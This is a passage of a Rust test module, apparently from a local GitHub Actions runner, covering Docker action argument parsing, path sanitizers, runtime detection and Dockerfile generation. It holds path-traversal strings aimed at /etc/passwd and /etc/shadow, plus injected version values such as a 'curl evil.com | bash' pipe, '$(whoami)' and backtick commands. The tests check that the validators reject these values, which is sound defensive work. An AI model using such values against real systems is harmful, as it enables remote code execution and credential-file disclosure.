6015 assert!(ep.is_none());
6016 assert_eq!(args, vec!["hello"]);
6017 }
6018
6019 #[test]
6020 fn extract_runs_config_args_as_string() {
6021 let yaml: serde_yaml::Value = serde_yaml::from_str(
6022 r#"
6023runs:
6024 using: docker
6025 image: Dockerfile
6026 args: "--flag value 'quoted arg'"
6027"#,
6028 )
6029 .unwrap();
6030 let (ep, args) = extract_docker_runs_config(Some(&yaml)).unwrap();
6031 assert!(ep.is_none());
6032 assert_eq!(args, vec!["--flag", "value", "quoted arg"]);
6033 }
6034
6035 #[test]
6036 fn extract_runs_config_args_as_plain_string() {
6037 let yaml: serde_yaml::Value = serde_yaml::from_str(
6038 r#"
6039runs:
6040 using: docker
6041 image: Dockerfile
6042 args: hello
6043"#,
6044 )
6045 .unwrap();
6046 let (ep, args) = extract_docker_runs_config(Some(&yaml)).unwrap();
6047 assert!(ep.is_none());
6048 assert_eq!(args, vec!["hello"]);
6049 }
6050
6051 #[test]
6052 fn extract_runs_config_args_string_bad_quoting_is_error() {
6053 let yaml: serde_yaml::Value = serde_yaml::from_str(
6055 r#"
6056runs:
6057 using: docker
6058 image: Dockerfile
6059 args: "hello 'world"
6060"#,
6061 )
6062 .unwrap();
6063 let result = extract_docker_runs_config(Some(&yaml));
6064 assert!(result.is_err(), "unmatched quote should return Err");
6065 assert!(result.unwrap_err().contains("unmatched quote"));
6066 }
6067
6068 #[test]
6071 fn dockerfile_rel_strips_docker_prefix() {
6072 assert_eq!(
6073 sanitize_dockerfile_rel("docker://Dockerfile").unwrap(),
6074 "Dockerfile"
6075 );
6076 }
6077
6078 #[test]
6079 fn dockerfile_rel_strips_leading_slash() {
6080 assert_eq!(
6081 sanitize_dockerfile_rel("docker:///etc/Dockerfile").unwrap(),
6082 "etc/Dockerfile"
6083 );
6084 }
6085
6086 #[test]
6087 fn dockerfile_rel_rejects_dotdot_traversal() {
6088 assert!(sanitize_dockerfile_rel("docker://../../etc/passwd").is_err());
6089 }
6090
6091 #[test]
6092 fn dockerfile_rel_rejects_dotdot_in_middle() {
6093 assert!(sanitize_dockerfile_rel("subdir/../../../etc/shadow").is_err());
6094 }
6095
6096 #[test]
6097 fn dockerfile_rel_rejects_backslash_traversal() {
6098 assert!(sanitize_dockerfile_rel("..\\..\\etc\\shadow").is_err());
6099 }
6100
6101 #[test]
6102 fn dockerfile_rel_rejects_mixed_separator_traversal() {
6103 assert!(sanitize_dockerfile_rel("subdir\\..\\..\\etc/shadow").is_err());
6104 }
6105
6106 #[test]
6107 fn dockerfile_rel_plain_dockerfile() {
6108 assert_eq!(sanitize_dockerfile_rel("Dockerfile").unwrap(), "Dockerfile");
6109 }
6110
6111 #[test]
6112 fn dockerfile_rel_relative_path() {
6113 assert_eq!(
6114 sanitize_dockerfile_rel("./build/Dockerfile").unwrap(),
6115 "build/Dockerfile"
6116 );
6117 }
6118
6119 #[test]
6120 fn dockerfile_rel_allows_dotdot_in_filename() {
6121 assert_eq!(
6123 sanitize_dockerfile_rel("foo..bar/Dockerfile").unwrap(),
6124 "foo..bar/Dockerfile"
6125 );
6126 }
6127
6128 #[test]
6129 fn dockerfile_rel_rejects_empty_string() {
6130 assert!(sanitize_dockerfile_rel("").is_err());
6131 }
6132
6133 #[test]
6134 fn dockerfile_rel_rejects_docker_prefix_only() {
6135 assert!(sanitize_dockerfile_rel("docker://").is_err());
6136 }
6137
6138 #[test]
6141 fn sub_path_allows_simple_path() {
6142 assert!(sanitize_sub_path("subdir").is_ok());
6143 }
6144
6145 #[test]
6146 fn sub_path_allows_nested_path() {
6147 assert!(sanitize_sub_path("a/b/c").is_ok());
6148 }
6149
6150 #[test]
6151 fn sub_path_rejects_dotdot() {
6152 assert!(sanitize_sub_path("..").is_err());
6153 }
6154
6155 #[test]
6156 fn sub_path_rejects_dotdot_prefix() {
6157 assert!(sanitize_sub_path("../../etc").is_err());
6158 }
6159
6160 #[test]
6161 fn sub_path_rejects_dotdot_in_middle() {
6162 assert!(sanitize_sub_path("a/../../../etc").is_err());
6163 }
6164
6165 #[test]
6166 fn sub_path_allows_dotdot_in_name() {
6167 assert!(sanitize_sub_path("foo..bar").is_ok());
6169 }
6170
6171 #[test]
6174 fn sub_path_rejects_null_byte() {
6175 assert!(sanitize_sub_path("foo\0bar").is_err());
6176 }
6177
6178 #[test]
6179 fn dockerfile_rel_rejects_null_byte() {
6180 assert!(sanitize_dockerfile_rel("Dockerfile\0.txt").is_err());
6181 }
6182
6183 #[test]
6186 fn extract_runs_config_args_coerces_non_string_values() {
6187 let yaml: serde_yaml::Value = serde_yaml::from_str(
6188 r#"
6189runs:
6190 using: docker
6191 image: Dockerfile
6192 args:
6193 - 42
6194 - true
6195 - --flag
6196"#,
6197 )
6198 .unwrap();
6199 let (_, args) = extract_docker_runs_config(Some(&yaml)).unwrap();
6200 assert_eq!(args.len(), 3);
6201 assert_eq!(args[0], "42");
6202 assert_eq!(args[1], "true");
6203 assert_eq!(args[2], "--flag");
6204 }
6205
6206 use std::sync::{Arc, Mutex};
6209 use wrkflw_runtime::container::{ContainerError, ContainerOutput};
6210
6211 #[derive(Clone, Default)]
6213 struct MockContainerRuntime {
6214 run_calls: Arc<Mutex<Vec<RunContainerCall>>>,
6215 }
6216
6217 #[derive(Debug, Clone)]
6218 struct RunContainerCall {
6219 image: String,
6220 cmd: Vec<String>,
6221 env_vars: Vec<(String, String)>,
6222 entrypoint: Option<String>,
6223 }
6224
6225 #[async_trait::async_trait]
6226 impl ContainerRuntime for MockContainerRuntime {
6227 async fn run_container(
6228 &self,
6229 image: &str,
6230 cmd: &[&str],
6231 env_vars: &[(&str, &str)],
6232 _working_dir: &Path,
6233 _volumes: &[(&Path, &Path)],
6234 entrypoint: Option<&str>,
6235 ) -> Result<ContainerOutput, ContainerError> {
6236 self.run_calls.lock().unwrap().push(RunContainerCall {
6237 image: image.to_string(),
6238 cmd: cmd.iter().map(|s| s.to_string()).collect(),
6239 env_vars: env_vars
6240 .iter()
6241 .map(|(k, v)| (k.to_string(), v.to_string()))
6242 .collect(),
6243 entrypoint: entrypoint.map(|s| s.to_string()),
6244 });
6245 Ok(ContainerOutput {
6246 stdout: "mock ok".to_string(),
6247 stderr: String::new(),
6248 exit_code: 0,
6249 })
6250 }
6251
6252 async fn pull_image(&self, _image: &str) -> Result<(), ContainerError> {
6253 Ok(())
6254 }
6255
6256 async fn build_image(
6257 &self,
6258 _dockerfile: &Path,
6259 _tag: &str,
6260 _context_dir: &Path,
6261 ) -> Result<(), ContainerError> {
6262 Ok(())
6263 }
6264
6265 async fn prepare_language_environment(
6266 &self,
6267 _language: &str,
6268 _version: Option<&str>,
6269 _additional_packages: Option<Vec<String>>,
6270 ) -> Result<String, ContainerError> {
6271 Ok("mock-image:latest".to_string())
6272 }
6273
6274 async fn image_exists(&self, _tag: &str) -> Result<bool, ContainerError> {
6275 Ok(false)
6276 }
6277 }
6278
6279 fn minimal_workflow() -> WorkflowDefinition {
6281 WorkflowDefinition {
6282 name: "test".to_string(),
6283 on: vec![],
6284 on_raw: serde_yaml::Value::Null,
6285 jobs: Default::default(),
6286 defaults: None,
6287 env: HashMap::new(),
6288 }
6289 }
6290
6291 fn make_step(
6293 name: &str,
6294 uses: &str,
6295 with: Option<HashMap<String, String>>,
6296 env: HashMap<String, String>,
6297 ) -> Step {
6298 Step {
6299 name: Some(name.to_string()),
6300 uses: Some(uses.to_string()),
6301 run: None,
6302 with,
6303 env,
6304 continue_on_error: None,
6305 if_condition: None,
6306 id: None,
6307 working_directory: None,
6308 shell: None,
6309 timeout_minutes: None,
6310 }
6311 }
6312
6313 #[tokio::test]
6316 async fn native_docker_passes_entrypoint_and_args() {
6317 let runtime = MockContainerRuntime::default();
6318 let workflow = minimal_workflow();
6319 let job_env = HashMap::new();
6320 let working_dir = std::env::current_dir().unwrap();
6321
6322 let step = make_step("docker-step", "docker://alpine:3.18", None, HashMap::new());
6324
6325 let ctx = StepExecutionContext {
6326 step: &step,
6327 step_idx: 0,
6328 job_env: &job_env,
6329 job_user_env: &job_env,
6330 working_dir: &working_dir,
6331 runtime: &runtime,
6332 workflow: &workflow,
6333 runner_image: "ubuntu:latest",
6334 verbose: false,
6335 matrix_combination: &None,
6336 container_config: None,
6337 workflow_defaults: None,
6338 job_defaults: None,
6339 step_outputs: &HashMap::new(),
6340 step_statuses: &HashMap::new(),
6341 job_status: "success",
6342 services: test_services(),
6343 pending_cache_saves: &TEST_PENDING_CACHE_SAVES,
6344 };
6345
6346 let result = execute_step(ctx).await.unwrap();
6347 assert_eq!(result.status, StepStatus::Success);
6348
6349 let calls = runtime.run_calls.lock().unwrap();
6350 assert_eq!(calls.len(), 1);
6351 let call = &calls[0];
6352 assert_eq!(call.image, "alpine:3.18");
6353 assert!(call.entrypoint.is_none());
6355 assert!(call.cmd.is_empty());
6357 }
6358
6359 #[tokio::test]
6360 async fn native_docker_with_args_override() {
6361 let runtime = MockContainerRuntime::default();
6362 let workflow = minimal_workflow();
6363 let job_env = HashMap::new();
6364 let working_dir = std::env::current_dir().unwrap();
6365
6366 let mut with = HashMap::new();
6367 with.insert("args".to_string(), "hello world".to_string());
6368 with.insert("myinput".to_string(), "myvalue".to_string());
6369
6370 let step = make_step(
6371 "docker-args-step",
6372 "docker://alpine:3.18",
6373 Some(with),
6374 HashMap::new(),
6375 );
6376
6377 let ctx = StepExecutionContext {
6378 step: &step,
6379 step_idx: 0,
6380 job_env: &job_env,
6381 job_user_env: &job_env,
6382 working_dir: &working_dir,
6383 runtime: &runtime,
6384 workflow: &workflow,
6385 runner_image: "ubuntu:latest",
6386 verbose: false,
6387 matrix_combination: &None,
6388 container_config: None,
6389 workflow_defaults: None,
6390 job_defaults: None,
6391 step_outputs: &HashMap::new(),
6392 step_statuses: &HashMap::new(),
6393 job_status: "success",
6394 services: test_services(),
6395 pending_cache_saves: &TEST_PENDING_CACHE_SAVES,
6396 };
6397
6398 let result = execute_step(ctx).await.unwrap();
6399 assert_eq!(result.status, StepStatus::Success);
6400
6401 let calls = runtime.run_calls.lock().unwrap();
6402 assert_eq!(calls.len(), 1);
6403 let call = &calls[0];
6404 assert_eq!(call.cmd, vec!["hello", "world"]);
6406 let env_map: HashMap<&str, &str> = call
6408 .env_vars
6409 .iter()
6410 .map(|(k, v)| (k.as_str(), v.as_str()))
6411 .collect();
6412 assert_eq!(env_map.get("INPUT_ARGS"), Some(&"hello world"));
6413 assert_eq!(env_map.get("INPUT_MYINPUT"), Some(&"myvalue"));
6414 }
6415
6416 #[tokio::test]
6417 async fn native_docker_empty_with_args_passes_zero_args() {
6418 let runtime = MockContainerRuntime::default();
6419 let workflow = minimal_workflow();
6420 let job_env = HashMap::new();
6421 let working_dir = std::env::current_dir().unwrap();
6422
6423 let mut with = HashMap::new();
6424 with.insert("args".to_string(), String::new());
6426
6427 let step = make_step(
6428 "docker-empty-args",
6429 "docker://alpine:3.18",
6430 Some(with),
6431 HashMap::new(),
6432 );
6433
6434 let ctx = StepExecutionContext {
6435 step: &step,
6436 step_idx: 0,
6437 job_env: &job_env,
6438 job_user_env: &job_env,
6439 working_dir: &working_dir,
6440 runtime: &runtime,
6441 workflow: &workflow,
6442 runner_image: "ubuntu:latest",
6443 verbose: false,
6444 matrix_combination: &None,
6445 container_config: None,
6446 workflow_defaults: None,
6447 job_defaults: None,
6448 step_outputs: &HashMap::new(),
6449 step_statuses: &HashMap::new(),
6450 job_status: "success",
6451 services: test_services(),
6452 pending_cache_saves: &TEST_PENDING_CACHE_SAVES,
6453 };
6454
6455 let result = execute_step(ctx).await.unwrap();
6456 assert_eq!(result.status, StepStatus::Success);
6457
6458 let calls = runtime.run_calls.lock().unwrap();
6459 assert_eq!(calls.len(), 1);
6460 assert!(
6461 calls[0].cmd.is_empty(),
6462 "empty with.args should yield zero CMD args"
6463 );
6464 }
6465
6466 #[tokio::test]
6467 async fn native_docker_step_env_injected() {
6468 let runtime = MockContainerRuntime::default();
6469 let workflow = minimal_workflow();
6470 let mut job_env = HashMap::new();
6471 job_env.insert("JOB_VAR".to_string(), "from-job".to_string());
6472 let working_dir = std::env::current_dir().unwrap();
6473
6474 let mut step_env_map = HashMap::new();
6475 step_env_map.insert("STEP_VAR".to_string(), "from-step".to_string());
6476
6477 let step = make_step(
6478 "docker-env-step",
6479 "docker://alpine:3.18",
6480 None,
6481 step_env_map,
6482 );
6483
6484 let ctx = StepExecutionContext {
6485 step: &step,
6486 step_idx: 0,
6487 job_env: &job_env,
6488 job_user_env: &job_env,
6489 working_dir: &working_dir,
6490 runtime: &runtime,
6491 workflow: &workflow,
6492 runner_image: "ubuntu:latest",
6493 verbose: false,
6494 matrix_combination: &None,
6495 container_config: None,
6496 workflow_defaults: None,
6497 job_defaults: None,
6498 step_outputs: &HashMap::new(),
6499 step_statuses: &HashMap::new(),
6500 job_status: "success",
6501 services: test_services(),
6502 pending_cache_saves: &TEST_PENDING_CACHE_SAVES,
6503 };
6504
6505 let result = execute_step(ctx).await.unwrap();
6506 assert_eq!(result.status, StepStatus::Success);
6507
6508 let calls = runtime.run_calls.lock().unwrap();
6509 let env_map: HashMap<&str, &str> = calls[0]
6510 .env_vars
6511 .iter()
6512 .map(|(k, v)| (k.as_str(), v.as_str()))
6513 .collect();
6514 assert_eq!(env_map.get("JOB_VAR"), Some(&"from-job"));
6515 assert_eq!(env_map.get("STEP_VAR"), Some(&"from-step"));
6516 }
6517
6518 #[tokio::test]
6519 async fn native_docker_with_args_unmatched_quote_is_error() {
6520 let runtime = MockContainerRuntime::default();
6521 let workflow = minimal_workflow();
6522 let job_env = HashMap::new();
6523 let working_dir = std::env::current_dir().unwrap();
6524
6525 let mut with = HashMap::new();
6526 with.insert("args".to_string(), "hello 'world".to_string());
6527
6528 let step = make_step(
6529 "docker-bad-args",
6530 "docker://alpine:3.18",
6531 Some(with),
6532 HashMap::new(),
6533 );
6534
6535 let ctx = StepExecutionContext {
6536 step: &step,
6537 step_idx: 0,
6538 job_env: &job_env,
6539 job_user_env: &job_env,
6540 working_dir: &working_dir,
6541 runtime: &runtime,
6542 workflow: &workflow,
6543 runner_image: "ubuntu:latest",
6544 verbose: false,
6545 matrix_combination: &None,
6546 container_config: None,
6547 workflow_defaults: None,
6548 job_defaults: None,
6549 step_outputs: &HashMap::new(),
6550 step_statuses: &HashMap::new(),
6551 job_status: "success",
6552 services: test_services(),
6553 pending_cache_saves: &TEST_PENDING_CACHE_SAVES,
6554 };
6555
6556 let result = execute_step(ctx).await;
6557 assert!(result.is_err(), "unmatched quote in with.args should error");
6558 let err = result.unwrap_err().to_string();
6559 assert!(
6560 err.contains("unmatched quote"),
6561 "error should mention unmatched quote, got: {}",
6562 err
6563 );
6564 }
6565
6566 #[tokio::test]
6567 async fn native_docker_runs_args_overridden_by_with_args() {
6568 let runtime = MockContainerRuntime::default();
6571 let workflow = minimal_workflow();
6572 let job_env = HashMap::new();
6573 let working_dir = std::env::current_dir().unwrap();
6574
6575 let mut with = HashMap::new();
6576 with.insert("args".to_string(), "override-arg".to_string());
6577
6578 let step = make_step(
6579 "docker-override-step",
6580 "docker://alpine:3.18",
6581 Some(with),
6582 HashMap::new(),
6583 );
6584
6585 let ctx = StepExecutionContext {
6586 step: &step,
6587 step_idx: 0,
6588 job_env: &job_env,
6589 job_user_env: &job_env,
6590 working_dir: &working_dir,
6591 runtime: &runtime,
6592 workflow: &workflow,
6593 runner_image: "ubuntu:latest",
6594 verbose: false,
6595 matrix_combination: &None,
6596 container_config: None,
6597 workflow_defaults: None,
6598 job_defaults: None,
6599 step_outputs: &HashMap::new(),
6600 step_statuses: &HashMap::new(),
6601 job_status: "success",
6602 services: test_services(),
6603 pending_cache_saves: &TEST_PENDING_CACHE_SAVES,
6604 };
6605
6606 let result = execute_step(ctx).await.unwrap();
6607 assert_eq!(result.status, StepStatus::Success);
6608
6609 let calls = runtime.run_calls.lock().unwrap();
6610 assert_eq!(calls.len(), 1);
6611 assert_eq!(calls[0].cmd, vec!["override-arg"]);
6613 }
6614
6615 #[tokio::test]
6616 async fn native_docker_with_entrypoint_override() {
6617 let runtime = MockContainerRuntime::default();
6618 let workflow = minimal_workflow();
6619 let job_env = HashMap::new();
6620 let working_dir = std::env::current_dir().unwrap();
6621
6622 let mut with = HashMap::new();
6623 with.insert("entrypoint".to_string(), "/custom.sh".to_string());
6624 with.insert("args".to_string(), "hello".to_string());
6625
6626 let step = make_step(
6627 "docker-ep-override",
6628 "docker://alpine:3.18",
6629 Some(with),
6630 HashMap::new(),
6631 );
6632
6633 let ctx = StepExecutionContext {
6634 step: &step,
6635 step_idx: 0,
6636 job_env: &job_env,
6637 job_user_env: &job_env,
6638 working_dir: &working_dir,
6639 runtime: &runtime,
6640 workflow: &workflow,
6641 runner_image: "ubuntu:latest",
6642 verbose: false,
6643 matrix_combination: &None,
6644 container_config: None,
6645 workflow_defaults: None,
6646 job_defaults: None,
6647 step_outputs: &HashMap::new(),
6648 step_statuses: &HashMap::new(),
6649 job_status: "success",
6650 services: test_services(),
6651 pending_cache_saves: &TEST_PENDING_CACHE_SAVES,
6652 };
6653
6654 let result = execute_step(ctx).await.unwrap();
6655 assert_eq!(result.status, StepStatus::Success);
6656
6657 let calls = runtime.run_calls.lock().unwrap();
6658 assert_eq!(calls.len(), 1);
6659 let call = &calls[0];
6660 assert_eq!(call.entrypoint.as_deref(), Some("/custom.sh"));
6662 assert_eq!(call.cmd, vec!["hello"]);
6663 }
6664
6665 #[test]
6666 fn extract_runs_config_empty_entrypoint_treated_as_none() {
6667 let yaml: serde_yaml::Value = serde_yaml::from_str(
6668 r#"
6669runs:
6670 using: docker
6671 image: Dockerfile
6672 entrypoint: ""
6673"#,
6674 )
6675 .unwrap();
6676 let (ep, _) = extract_docker_runs_config(Some(&yaml)).unwrap();
6677 assert!(
6678 ep.is_none(),
6679 "empty entrypoint string should be treated as None"
6680 );
6681 }
6682
6683 #[test]
6686 fn sub_path_rejects_backslash_dotdot() {
6687 assert!(sanitize_sub_path("a\\..\\..\\etc").is_err());
6688 }
6689
6690 #[test]
6691 fn sub_path_rejects_mixed_separator_dotdot() {
6692 assert!(sanitize_sub_path("a/..\\..\\etc").is_err());
6693 }
6694
6695 fn make_step_uses(uses: &str, with: Option<HashMap<String, String>>) -> Step {
6698 Step {
6699 name: None,
6700 uses: Some(uses.to_string()),
6701 run: None,
6702 with,
6703 env: HashMap::new(),
6704 continue_on_error: None,
6705 if_condition: None,
6706 id: None,
6707 working_directory: None,
6708 shell: None,
6709 timeout_minutes: None,
6710 }
6711 }
6712
6713 fn make_step_run(run: &str) -> Step {
6714 Step {
6715 name: None,
6716 uses: None,
6717 run: Some(run.to_string()),
6718 with: None,
6719 env: HashMap::new(),
6720 continue_on_error: None,
6721 if_condition: None,
6722 id: None,
6723 working_directory: None,
6724 shell: None,
6725 timeout_minutes: None,
6726 }
6727 }
6728
6729 #[test]
6730 fn detect_setup_runtimes_empty_steps() {
6731 let runtimes = detect_setup_runtimes(&[]);
6732 assert!(runtimes.is_empty());
6733 }
6734
6735 #[test]
6736 fn detect_setup_runtimes_no_setup_actions() {
6737 let steps = vec![
6738 make_step_uses("actions/checkout@v4", None),
6739 make_step_uses("actions/cache@v3", None),
6740 make_step_run("echo hello"),
6741 ];
6742 let runtimes = detect_setup_runtimes(&steps);
6743 assert!(runtimes.is_empty());
6744 }
6745
6746 #[test]
6747 fn detect_setup_runtimes_single_node() {
6748 let steps = vec![
6749 make_step_uses("actions/checkout@v4", None),
6750 make_step_uses("actions/setup-node@v3", None),
6751 make_step_run("npm install"),
6752 ];
6753 let runtimes = detect_setup_runtimes(&steps);
6754 assert_eq!(runtimes.len(), 1);
6755 assert_eq!(runtimes[0].language, "node");
6756 assert_eq!(runtimes[0].version, "20");
6757 assert!(!runtimes[0].install_script.is_empty());
6758 }
6759
6760 #[test]
6761 fn detect_setup_runtimes_node_with_version() {
6762 let with = HashMap::from([("node-version".to_string(), "16.x".to_string())]);
6763 let steps = vec![make_step_uses("actions/setup-node@v3", Some(with))];
6764 let runtimes = detect_setup_runtimes(&steps);
6765 assert_eq!(runtimes.len(), 1);
6766 assert_eq!(runtimes[0].language, "node");
6767 assert_eq!(runtimes[0].version, "16");
6769 }
6770
6771 #[test]
6772 fn detect_setup_runtimes_php() {
6773 let with = HashMap::from([("php".to_string(), "8.1".to_string())]);
6774 let steps = vec![make_step_uses("shivammathur/setup-php@v2", Some(with))];
6775 let runtimes = detect_setup_runtimes(&steps);
6776 assert_eq!(runtimes.len(), 1);
6777 assert_eq!(runtimes[0].language, "php");
6778 assert_eq!(runtimes[0].version, "8.1");
6779 }
6780
6781 #[test]
6782 fn detect_setup_runtimes_multi_language() {
6783 let steps = vec![
6784 make_step_uses("actions/checkout@v4", None),
6785 make_step_uses("shivammathur/setup-php@v2", None),
6786 make_step_uses("actions/setup-node@v4", None),
6787 make_step_run("composer install"),
6788 make_step_run("npm install"),
6789 ];
6790 let runtimes = detect_setup_runtimes(&steps);
6791 assert_eq!(runtimes.len(), 2);
6792 assert_eq!(runtimes[0].language, "php");
6793 assert_eq!(runtimes[1].language, "node");
6794 }
6795
6796 #[test]
6797 fn detect_setup_runtimes_python_with_version() {
6798 let with = HashMap::from([("python-version".to_string(), "3.12".to_string())]);
6799 let steps = vec![make_step_uses("actions/setup-python@v5", Some(with))];
6800 let runtimes = detect_setup_runtimes(&steps);
6801 assert_eq!(runtimes.len(), 1);
6802 assert_eq!(runtimes[0].language, "python");
6803 assert_eq!(runtimes[0].version, "3.12");
6804 }
6805
6806 #[test]
6807 fn detect_setup_runtimes_go() {
6808 let with = HashMap::from([("go-version".to_string(), "1.22".to_string())]);
6809 let steps = vec![make_step_uses("actions/setup-go@v5", Some(with))];
6810 let runtimes = detect_setup_runtimes(&steps);
6811 assert_eq!(runtimes.len(), 1);
6812 assert_eq!(runtimes[0].language, "go");
6813 assert_eq!(runtimes[0].version, "1.22");
6814 }
6815
6816 #[test]
6817 fn detect_setup_runtimes_rust() {
6818 let steps = vec![make_step_uses("dtolnay/rust-toolchain@stable", None)];
6819 let runtimes = detect_setup_runtimes(&steps);
6820 assert_eq!(runtimes.len(), 1);
6821 assert_eq!(runtimes[0].language, "rust");
6822 assert_eq!(runtimes[0].version, "stable");
6823 }
6824
6825 #[test]
6826 fn detect_setup_runtimes_rust_version_from_ref() {
6827 let steps = vec![make_step_uses("dtolnay/rust-toolchain@nightly", None)];
6829 let runtimes = detect_setup_runtimes(&steps);
6830 assert_eq!(runtimes.len(), 1);
6831 assert_eq!(runtimes[0].language, "rust");
6832 assert_eq!(runtimes[0].version, "nightly");
6833 }
6834
6835 #[test]
6836 fn detect_setup_runtimes_rust_with_overrides_ref() {
6837 let with = HashMap::from([("toolchain".to_string(), "beta".to_string())]);
6839 let steps = vec![make_step_uses("dtolnay/rust-toolchain@nightly", Some(with))];
6840 let runtimes = detect_setup_runtimes(&steps);
6841 assert_eq!(runtimes.len(), 1);
6842 assert_eq!(runtimes[0].version, "beta");
6843 }
6844
6845 #[test]
6846 fn detect_setup_runtimes_rust_sha_ref_falls_back_to_default() {
6847 let steps = vec![make_step_uses(
6849 "dtolnay/rust-toolchain@d4ff7a3c5bbbc35c47ee72003c3e0a88e24a9919",
6850 None,
6851 )];
6852 let runtimes = detect_setup_runtimes(&steps);
6853 assert_eq!(runtimes.len(), 1);
6854 assert_eq!(runtimes[0].language, "rust");
6855 assert_eq!(runtimes[0].version, "stable");
6856 }
6857
6858 #[test]
6859 fn detect_setup_runtimes_normalizes_dot_x_suffix() {
6860 let with = HashMap::from([("node-version".to_string(), "16.x".to_string())]);
6862 let steps = vec![make_step_uses("actions/setup-node@v3", Some(with))];
6863 let runtimes = detect_setup_runtimes(&steps);
6864 assert_eq!(runtimes.len(), 1);
6865 assert_eq!(runtimes[0].version, "16");
6866 }
6867
6868 #[test]
6869 fn detect_setup_runtimes_java() {
6870 let with = HashMap::from([("java-version".to_string(), "21".to_string())]);
6871 let steps = vec![make_step_uses("actions/setup-java@v4", Some(with))];
6872 let runtimes = detect_setup_runtimes(&steps);
6873 assert_eq!(runtimes.len(), 1);
6874 assert_eq!(runtimes[0].language, "java");
6875 assert_eq!(runtimes[0].version, "21");
6876 }
6877
6878 #[test]
6879 fn detect_setup_runtimes_dotnet() {
6880 let with = HashMap::from([("dotnet-version".to_string(), "8.0".to_string())]);
6881 let steps = vec![make_step_uses("actions/setup-dotnet@v4", Some(with))];
6882 let runtimes = detect_setup_runtimes(&steps);
6883 assert_eq!(runtimes.len(), 1);
6884 assert_eq!(runtimes[0].language, "dotnet");
6885 assert_eq!(runtimes[0].version, "8.0");
6886 }
6887
6888 #[test]
6889 fn get_install_script_returns_nonempty_for_known_languages() {
6890 for lang in &["node", "php", "python", "go", "java", "dotnet", "rust"] {
6891 let script = get_install_script(lang, "latest");
6892 assert!(
6893 !script.is_empty(),
6894 "install script for {} should not be empty",
6895 lang
6896 );
6897 }
6898 }
6899
6900 #[test]
6901 fn get_install_script_returns_empty_for_unknown() {
6902 assert!(get_install_script("unknown_lang", "1.0").is_empty());
6903 }
6904
6905 #[test]
6908 fn is_safe_version_accepts_valid() {
6909 assert!(is_safe_version("20"));
6910 assert!(is_safe_version("3.12"));
6911 assert!(is_safe_version("16.x"));
6912 assert!(is_safe_version("8.2-rc1"));
6913 assert!(is_safe_version("stable"));
6914 assert!(is_safe_version("1.21_beta"));
6915 }
6916
6917 #[test]
6918 fn is_safe_version_rejects_injection() {
6919 assert!(!is_safe_version(""));
6920 assert!(!is_safe_version("20; curl evil.com | bash"));
6921 assert!(!is_safe_version("20\nRUN malicious"));
6922 assert!(!is_safe_version("20 && echo pwned"));
6923 assert!(!is_safe_version("$(whoami)"));
6924 assert!(!is_safe_version("20`id`"));
6925 }
6926
6927 #[test]
6928 fn detect_setup_runtimes_skips_invalid_version() {
6929 let with = HashMap::from([(
6930 "node-version".to_string(),
6931 "20; curl evil.com | bash".to_string(),
6932 )]);
6933 let steps = vec![make_step_uses("actions/setup-node@v3", Some(with))];
6934 let runtimes = detect_setup_runtimes(&steps);
6935 assert!(runtimes.is_empty());
6936 }
6937
6938 #[test]
6941 fn detect_setup_runtimes_deduplicates_same_language() {
6942 let with_16 = HashMap::from([("node-version".to_string(), "16".to_string())]);
6943 let with_20 = HashMap::from([("node-version".to_string(), "20".to_string())]);
6944 let steps = vec![
6945 make_step_uses("actions/setup-node@v3", Some(with_16)),
6946 make_step_uses("actions/setup-node@v4", Some(with_20)),
6947 ];
6948 let runtimes = detect_setup_runtimes(&steps);
6949 assert_eq!(runtimes.len(), 1);
6950 assert_eq!(runtimes[0].version, "20");
6952 }
6953
6954 #[test]
6957 fn detect_setup_runtimes_ignores_similar_action_names() {
6958 let steps = vec![
6959 make_step_uses("actions/setup-node-legacy@v1", None),
6960 make_step_uses("actions/setup-nodejs@v1", None),
6961 ];
6962 let runtimes = detect_setup_runtimes(&steps);
6963 assert!(runtimes.is_empty());
6964 }
6965
6966 #[test]
6969 fn determine_action_image_exact_match_setup_actions() {
6970 assert_eq!(
6972 determine_action_image("actions/setup-node"),
6973 "catthehacker/ubuntu:act-latest"
6974 );
6975 assert_eq!(
6976 determine_action_image("actions/setup-python"),
6977 "catthehacker/ubuntu:act-latest"
6978 );
6979 assert_eq!(
6980 determine_action_image("shivammathur/setup-php"),
6981 "catthehacker/ubuntu:act-latest"
6982 );
6983 assert_eq!(
6984 determine_action_image("dtolnay/rust-toolchain"),
6985 "catthehacker/ubuntu:act-latest"
6986 );
6987 }
6988
6989 #[test]
6990 fn determine_action_image_rejects_similar_names() {
6991 assert_eq!(
6993 determine_action_image("actions/setup-node-legacy"),
6994 "node:20-slim"
6995 );
6996 assert_eq!(
6997 determine_action_image("actions/setup-nodejs"),
6998 "node:20-slim"
6999 );
7000 }
7001
7002 #[test]
7003 fn determine_action_image_core_actions() {
7004 assert_eq!(
7005 determine_action_image("actions/checkout"),
7006 "catthehacker/ubuntu:act-latest"
7007 );
7008 assert_eq!(
7009 determine_action_image("actions/cache"),
7010 "catthehacker/ubuntu:act-latest"
7011 );
7012 }
7013
7014 #[test]
7015 fn determine_action_image_namespace_prefix() {
7016 assert_eq!(
7018 determine_action_image("docker/build-push-action"),
7019 "docker:latest"
7020 );
7021 assert_eq!(
7022 determine_action_image("docker/login-action"),
7023 "docker:latest"
7024 );
7025 assert_eq!(
7026 determine_action_image("aws-actions/configure-aws-credentials"),
7027 "amazon/aws-cli:latest"
7028 );
7029 }
7030
7031 #[test]
7034 fn generate_combined_dockerfile_single_runtime() {
7035 let runtimes = vec![SetupRuntime {
7036 language: "node".to_string(),
7037 version: "20".to_string(),
7038 install_script: get_install_script("node", "20"),
7039 }];
7040 let df = generate_combined_dockerfile(&runtimes, "ubuntu:latest");
7041 assert!(df.starts_with("FROM ubuntu:latest\n"));
7042 assert!(df.contains("nodesource"));
7043 assert_eq!(df.matches("RUN ").count(), 1);
7045 }
7046
7047 #[test]
7048 fn generate_combined_dockerfile_multi_runtime_single_run() {
7049 let runtimes = vec![
7050 SetupRuntime {
7051 language: "node".to_string(),
7052 version: "20".to_string(),
7053 install_script: get_install_script("node", "20"),
7054 },
7055 SetupRuntime {
7056 language: "python".to_string(),
7057 version: "3.12".to_string(),
7058 install_script: get_install_script("python", "3.12"),
7059 },
7060 ];
7061 let df = generate_combined_dockerfile(&runtimes, "ubuntu:latest");
7062 assert_eq!(df.matches("RUN ").count(), 1);
7064 assert!(df.contains("nodesource"));
7065 assert!(df.contains("deadsnakes"));
7066 }
7067
7068 #[test]
7069 fn generate_combined_dockerfile_skips_empty_scripts() {
7070 let runtimes = vec![SetupRuntime {
7071 language: "unknown".to_string(),
7072 version: "1.0".to_string(),
